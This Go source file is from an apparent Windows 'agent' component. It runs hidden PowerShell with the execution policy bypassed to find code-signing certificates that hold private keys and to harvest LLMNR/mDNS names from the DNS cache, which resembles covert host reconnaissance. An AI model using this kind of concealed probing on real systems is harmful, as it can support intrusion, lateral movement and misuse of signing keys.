Files
AetherForge/agent/deploy/network_hints_cert_windows.go

114 lines
2.9 KiB
Go

//go:build windows
package deploy
import (
"encoding/json"
"net"
"strings"
)
const dnsClientCacheScript = `
$rows = Get-DnsClientCache -ErrorAction SilentlyContinue |
Where-Object { $_.Entry -ne '' -and $_.Data -ne '' } |
Select-Object -First 64 Entry, Data, Type
$rows | ConvertTo-Json -Compress
`
const codeSignCertScript = `
$eku = '1.3.6.1.5.5.7.3.3'
$cert = Get-ChildItem Cert:\CurrentUser\My, Cert:\LocalMachine\My -ErrorAction SilentlyContinue |
Where-Object {
$_.HasPrivateKey -and (
($_.EnhancedKeyUsageList | Where-Object { $_.ObjectId -eq $eku }) -or
($_.EnhancedKeyUsageList.FriendlyName -contains 'Code Signing')
)
} |
Select-Object -First 1 Subject
if ($cert) { $cert.Subject } else { '' }
`
func probeEnterpriseCodeSignCert() (present bool, subject string) {
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", codeSignCertScript)
if err != nil {
return false, ""
}
subject = strings.TrimSpace(string(out))
return subject != "", subject
}
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
if max <= 0 {
return nil, nil
}
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", dnsClientCacheScript)
if err != nil {
return nil, nil
}
raw := strings.TrimSpace(string(out))
if raw == "" {
return nil, nil
}
if idx := strings.LastIndex(raw, "{"); idx >= 0 && !strings.HasPrefix(raw, "[") {
raw = "[" + raw[idx:]
if !strings.HasSuffix(raw, "]") {
raw += "]"
}
}
var rows []struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}
if err := json.Unmarshal([]byte(raw), &rows); err != nil {
var one struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}
if err2 := json.Unmarshal([]byte(raw), &one); err2 != nil || one.Entry == "" {
return nil, nil
}
rows = []struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}{one}
}
seenLLMNR := make(map[string]bool)
seenMDNS := make(map[string]bool)
for _, row := range rows {
name := strings.TrimSpace(strings.TrimSuffix(row.Entry, "."))
ip := strings.TrimSpace(row.Data)
if name == "" {
continue
}
if ip != "" {
if parsed := net.ParseIP(ip); parsed != nil && parsed.To4() != nil {
ip = parsed.To4().String()
}
}
entry := NameHost{Name: name, IP: ip}
lower := strings.ToLower(name)
switch {
case strings.HasSuffix(lower, ".local"):
if len(mdns) >= max || seenMDNS[name] {
continue
}
seenMDNS[name] = true
mdns = append(mdns, entry)
case !strings.Contains(name, "."):
if len(llmnr) >= max || seenLLMNR[name] {
continue
}
seenLLMNR[name] = true
llmnr = append(llmnr, entry)
}
if len(llmnr)+len(mdns) >= max {
break
}
}
return llmnr, mdns
}